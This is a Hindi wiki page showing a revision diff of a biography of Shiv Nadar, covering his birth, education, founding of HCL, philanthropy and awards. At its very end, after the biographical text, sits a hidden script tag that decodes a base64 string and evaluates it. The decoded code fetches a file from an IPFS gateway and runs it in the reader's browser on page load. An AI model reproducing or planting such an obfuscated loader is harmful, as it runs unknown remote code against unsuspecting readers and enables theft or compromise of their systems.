शिव नादर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('{{शिव नादर विषय सूची}} {{शिव नादर संक्षिप्त परिचय}} '''शि...' के साथ नया पृष्ठ बनाया)
 
No edit summary
Line 5: Line 5:
शिव नादर का जन्म [[तमिलनाडु]] के थूठुकुडि जिले के मूलाइपुजहि गांव में [[18 जुलाई]] [[1945]] को हुआ था। शिव ने कुम्बकोनम के टाउन हायर सेकेंडरी स्कूल से प्रारंभिक शिक्षा प्राप्त की। उन्होंने वहां सन [[1955]] से [[1957]] तक पढाई की। इसके बाद ‘द अमेरिकन कॉलेज, मदुरै’ से प्री-यूनिवर्सिटी डिग्री प्राप्त की। तत्पश्चात कोयंबटूर के पीइसजी कॉलेज से इलेक्ट्रिकल और इलेक्ट्रॉनिक्स इंजीनियरिंग की डिग्री प्राप्त की।<ref name="aa"/>
शिव नादर का जन्म [[तमिलनाडु]] के थूठुकुडि जिले के मूलाइपुजहि गांव में [[18 जुलाई]] [[1945]] को हुआ था। शिव ने कुम्बकोनम के टाउन हायर सेकेंडरी स्कूल से प्रारंभिक शिक्षा प्राप्त की। उन्होंने वहां सन [[1955]] से [[1957]] तक पढाई की। इसके बाद ‘द अमेरिकन कॉलेज, मदुरै’ से प्री-यूनिवर्सिटी डिग्री प्राप्त की। तत्पश्चात कोयंबटूर के पीइसजी कॉलेज से इलेक्ट्रिकल और इलेक्ट्रॉनिक्स इंजीनियरिंग की डिग्री प्राप्त की।<ref name="aa"/>
==कॅरियर==
==कॅरियर==
शिव ने वर्ष [[1967]] में [[पुणे]] स्थित कूपर इंजीनियरिंग से अपने कॅरियर की शुरुआत की, लेकिन वे इससे संतुष्ट नहीं थे क्योंकि वो अपना व्यवसाय शुरू करने की ख्वाहिश रखते थे। वर्ष [[1976]] में 6 युवा इंजीनियरों के साथ उन्होंने ‘माइक्रोकॉम्प लिमिटेड’ नामक एक कंपनी बनाई, जो टेलीडिजिटल कैलकुलेटर्स बेचने का काम करने लगी। इसके बाद उन्होंने ‘हिंदुस्तान कंप्यूटर्स लिमिटेड’(एचसीएल) नामक कंप्यूटर बनाने वाली कंपनी बनाई और वर्ष [[1982]] में अपने पहले पीसी के साथ ‘एचसीएल’ बाजार में उतरा। एचसीएल के लिए एक बड़ी अहम् बात ये रही की कुछ वर्ष पहले ही ([[1977]]) आईबीएम ने [[भारत]] छोड़ा था जिससे आईटी सेक्टर में एक बड़ा खालीपन हो गया था। इसका भरपूर फायदा एचसीएल ने उठाया और इस रिक्तता को भरा। इसके साथ-साथ कंपनी ने अपने ग्राहकों का दिल भी जीत लिया। इसके बाद नादर ने पलट कर नहीं देखा और विदेशी जमीन पर भी उन्होंने ने खुद को स्थापित कर लिया और एक के बाद एक सफलता उनके कदम चूमती रही।
{{मुख्य|शिव नादर का कॅरियर}}
जल्दी ही नादर ने अपने आईटी व्यवसाय में पांच कंपनियां- एचसीएल टेक्नोलॉजीज (ग्लोबल आईटी सर्विस कंपनी), एचसीएल कॉमनेट (नेटवर्क सर्विसेज कंपनी), एचसीएल इंफोसिस्टम्स (इंडियन आईटी हार्डवेयर लीडर), एचसीएल पेरॉट (आईटी एप्लीकेशंस) और एनआईआईटी (एजुकेशन सर्विसेज) समाहित कर लीं।
शिव ने वर्ष [[1967]] में [[पुणे]] स्थित कूपर इंजीनियरिंग से अपने कॅरियर की शुरुआत की, लेकिन वे इससे संतुष्ट नहीं थे क्योंकि वो अपना व्यवसाय शुरू करने की ख्वाहिश रखते थे। वर्ष [[1976]] में 6 युवा इंजीनियरों के साथ उन्होंने ‘माइक्रोकॉम्प लिमिटेड’ नामक एक कंपनी बनाई, जो टेलीडिजिटल कैलकुलेटर्स बेचने का काम करने लगी। इसके बाद उन्होंने ‘हिंदुस्तान कंप्यूटर्स लिमिटेड’(एचसीएल) नामक कंप्यूटर बनाने वाली कंपनी बनाई और वर्ष [[1982]] में अपने पहले पीसी के साथ ‘एचसीएल’ बाजार में उतरा। एचसीएल के लिए एक बड़ी अहम् बात ये रही की कुछ वर्ष पहले ही ([[1977]]) आईबीएम ने [[भारत]] छोड़ा था जिससे आईटी सेक्टर में एक बड़ा खालीपन हो गया था। इसका भरपूर फायदा एचसीएल ने उठाया और इस रिक्तता को भरा। इसके साथ-साथ कंपनी ने अपने ग्राहकों का दिल भी जीत लिया। इसके बाद नादर ने पलट कर नहीं देखा और विदेशी जमीन पर भी उन्होंने ने खुद को स्थापित कर लिया और एक के बाद एक सफलता उनके कदम चूमती रही।<ref name="aa">{{cite web |url=http://www.itshindi.com/shiv-nadar.html|title= शिव नादर|accessmonthday= 17 सितम्बर|accessyear= 2017|last= |first= |authorlink= |format= |publisher=itshindi.com|language=हिन्दी}}</ref>
वर्ष [[1980]] में, आईटी हार्डवेयर बेचने के लिए एचसीएल ने [[सिंगापुर]] में ‘फार ईस्ट कम्प्यूटर्स’ की स्थापना के साथ अंतरराष्ट्रीय बाजार में कदम रखा। इस उद्यम के प्रथम वर्ष में लगभग 10 लाख रूपए की आमदनी हुई। नादर इस उद्यम के सबसे बड़ी शेयरधारक बने रहे।
 
वर्ष [[1989]] में एचसीएल ने अमेरिकी कंप्यूटर हार्डवेयर मार्केट में हाथ आजमाने की कोशिस की पर ये कोशिश असफल साबित हुई और कंपनी ने वर्ष [[1991]] अपने आप को पीसी व्यवसाय से बाहर कर लिया। नादर ने जॉन हॉपकिंस मेडिसिन इंटरनेशनल के साथ मिलकर एक क्लीनिक श्रृंखला एचसीएल Avitas की शुरुआत की है।
 
इस अपार सफलता के साथ-साथ नादर ने खुद को समाजसेवा से भी जोड़ लिया और ‘शिवनादर फाउंडेशन’ की स्थापना की जिसके जरिए भारतीय शैक्षणिक व्यवस्था में सुधार के लिए कार्य करने लगे। उन्होंने चेन्नई में ‘एसएसएन कॉलेज ऑफ इंजीनियरिंग’ की स्थापना की, जो आज देश के सर्वश्रेष्ठ निजी इंजीनियरिंग कॉलेजों में से एक है। इसके बाद उन्होंने उत्तर प्रदेश के ग्रेटर नोएडा में ‘शिव नादर यूनिवर्सिटी’ की नींव रखी, जहाँ अंडरग्रेजुएट, पोस्टग्रेजुएट और प्रोफेशनल डिग्री की शिक्षा दी जाती है। [[उत्तर प्रदेश]] में ‘विद्याज्ञान’ पब्लिक स्कूलों का निर्माण किया गया, जहाँ ग्रामीण बच्चों को मुफ्त में विश्वस्तरीय शिक्षा दी जाती है।<ref name="aa">{{cite web |url=http://www.itshindi.com/shiv-nadar.html|title= शिव नादर|accessmonthday= 17 सितम्बर|accessyear= 2017|last= |first= |authorlink= |format= |publisher=itshindi.com|language=हिन्दी}}</ref>
==पुरस्कार और सम्मान==
==पुरस्कार और सम्मान==
{{मुख्य|शिव नादर को पुरस्कार और सम्मान}}
*[[1995]]: डाटाक्वेस्ट ने उन्हें ‘आई टी मैन ऑफ़ द ईयर’ चुना।
*[[1995]]: डाटाक्वेस्ट ने उन्हें ‘आई टी मैन ऑफ़ द ईयर’ चुना।
*[[2005]]: प्रधानमंत्री ने उन्हें ‘सीएनबीसी बिजनेस एक्सिलेंस’ पुरस्कार से नवाजा।
*[[2005]]: प्रधानमंत्री ने उन्हें ‘सीएनबीसी बिजनेस एक्सिलेंस’ पुरस्कार से नवाजा।<ref name="aa"/>
*[[2006]]: ऑल इंडिया मैनेजमेंट एसोसिएशन (AIMA) ने मानद फैलोशिप से सम्मानित किया।
*[[2007]]: मद्रास विश्वविद्यालय ने सॉफ्टवेयर प्रौद्योगिकी को बढ़ावा देने में उनके योगदान के लिए उन्हें डॉक्टरेट की मानद डिग्री (डी एस सी) से सम्मानित किया।
*[[2007]]: अर्न्स्ट एंड यंग ने उन्हें ‘इंटरप्रेन्योर ऑफ़ द ईयर 2007′ सम्मान से नवाज़ा।
*[[2008]]: आईटी ट्रेड एंड इंडस्ट्री सहित जनसेवा क्षेत्र में उनके योगदान के लिए वर्ष 2008 में उन्हें ‘पद्मभूषण’से सम्मानित किया गया।
*[[2009]]: फोर्ब्स पत्रिका ने एशिया पैसिफिक रीजन के ‘48 हीरोज ऑफ फिलेनथ्रोपी’ में उन्हें शामिल किया।
*[[2010]]: ‘डाटाक्वेस्ट लाइफ टाइम अचीवमेंट अवार्ड’ से सम्मानित किया गया।
वर्तमान में शिव आईआईटी कानपुर के अध्यक्ष हैं।<ref name="aa"/>


{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

Revision as of 12:48, 27 September 2017

शिव नादर विषय सूची


शिव नादर
पूरा नाम शिव नादर
जन्म 18 जुलाई, 1945
जन्म भूमि तीरचेन्दुर तमिलनाडु
पति/पत्नी किरन नादर
संतान पुत्री- रोशनी नादर
कर्म भूमि भारत
कर्म-क्षेत्र उद्योगपति
पुरस्कार-उपाधि पद्म भूषण
प्रसिद्धि एचसीएल के संस्थापक अध्यक्ष
नागरिकता भारतीय
व्यवसाय का विस्तार शिव नादर ने आईटी व्यवसाय में पांच कंपनियां- एचसीएल टेक्नोलॉजीज (ग्लोबल आईटी सर्विस कंपनी), एचसीएल कॉमनेट (नेटवर्क सर्विसेज कंपनी), एचसीएल इंफोसिस्टम्स (इंडियन आईटी हार्डवेयर लीडर), एचसीएल पेरॉट (आईटी एप्लीकेशंस) और एनआईआईटी (एजुकेशन सर्विसेज) समाहित कर लीं।
अन्य जानकारी उत्तर प्रदेश में ‘विद्याज्ञान’ पब्लिक स्कूलों का निर्माण किया गया, जहाँ ग्रामीण बच्चों को मुफ्त में विश्वस्तरीय शिक्षा दी जाती है।
अद्यतन‎

शिव नादर (अंग्रेजी: Shiv Nadar, जन्म: 18 जुलाई, 1945, तीरचेन्दुर तमिलनाडु) प्रसिद्ध भारतीय आईटी उद्योगपति हैं। वे एचसीएल और शिव नादर फाउंडेशन के संस्थापक और अध्यक्ष हैं। उन्होंने 1970 के मध्य में एचसीएल की स्थापना की और धीरे-धीरे कंपनी को हार्डवेयर के साथ-साथ आईटी उद्योग का एक बड़ा नाम बना दिया। आईटी उद्योग में उनके योगदान को देखते हुए भारत सरकार ने उन्हें ‘पद्म भूषण’ से सम्मानित किया। आईटी क्षेत्र साथ-साथ शिव देश के शिक्षा क्षेत्र में भी बदलाव के लिए कार्य कर रहे हैं। यह कार्य शिव फाउंडेशन द्वारा संचालित किया जाता है।[1]

जीवन परिचय

शिव नादर का जन्म तमिलनाडु के थूठुकुडि जिले के मूलाइपुजहि गांव में 18 जुलाई 1945 को हुआ था। शिव ने कुम्बकोनम के टाउन हायर सेकेंडरी स्कूल से प्रारंभिक शिक्षा प्राप्त की। उन्होंने वहां सन 1955 से 1957 तक पढाई की। इसके बाद ‘द अमेरिकन कॉलेज, मदुरै’ से प्री-यूनिवर्सिटी डिग्री प्राप्त की। तत्पश्चात कोयंबटूर के पीइसजी कॉलेज से इलेक्ट्रिकल और इलेक्ट्रॉनिक्स इंजीनियरिंग की डिग्री प्राप्त की।[1]

कॅरियर

शिव ने वर्ष 1967 में पुणे स्थित कूपर इंजीनियरिंग से अपने कॅरियर की शुरुआत की, लेकिन वे इससे संतुष्ट नहीं थे क्योंकि वो अपना व्यवसाय शुरू करने की ख्वाहिश रखते थे। वर्ष 1976 में 6 युवा इंजीनियरों के साथ उन्होंने ‘माइक्रोकॉम्प लिमिटेड’ नामक एक कंपनी बनाई, जो टेलीडिजिटल कैलकुलेटर्स बेचने का काम करने लगी। इसके बाद उन्होंने ‘हिंदुस्तान कंप्यूटर्स लिमिटेड’(एचसीएल) नामक कंप्यूटर बनाने वाली कंपनी बनाई और वर्ष 1982 में अपने पहले पीसी के साथ ‘एचसीएल’ बाजार में उतरा। एचसीएल के लिए एक बड़ी अहम् बात ये रही की कुछ वर्ष पहले ही (1977) आईबीएम ने भारत छोड़ा था जिससे आईटी सेक्टर में एक बड़ा खालीपन हो गया था। इसका भरपूर फायदा एचसीएल ने उठाया और इस रिक्तता को भरा। इसके साथ-साथ कंपनी ने अपने ग्राहकों का दिल भी जीत लिया। इसके बाद नादर ने पलट कर नहीं देखा और विदेशी जमीन पर भी उन्होंने ने खुद को स्थापित कर लिया और एक के बाद एक सफलता उनके कदम चूमती रही।[1]

पुरस्कार और सम्मान

  • 1995: डाटाक्वेस्ट ने उन्हें ‘आई टी मैन ऑफ़ द ईयर’ चुना।
  • 2005: प्रधानमंत्री ने उन्हें ‘सीएनबीसी बिजनेस एक्सिलेंस’ पुरस्कार से नवाजा।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 शिव नादर (हिन्दी) itshindi.com। अभिगमन तिथि: 17 सितम्बर, 2017।

बाहरी कड़ियाँ

संबंधित लेख

शिव नादर विषय सूची


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>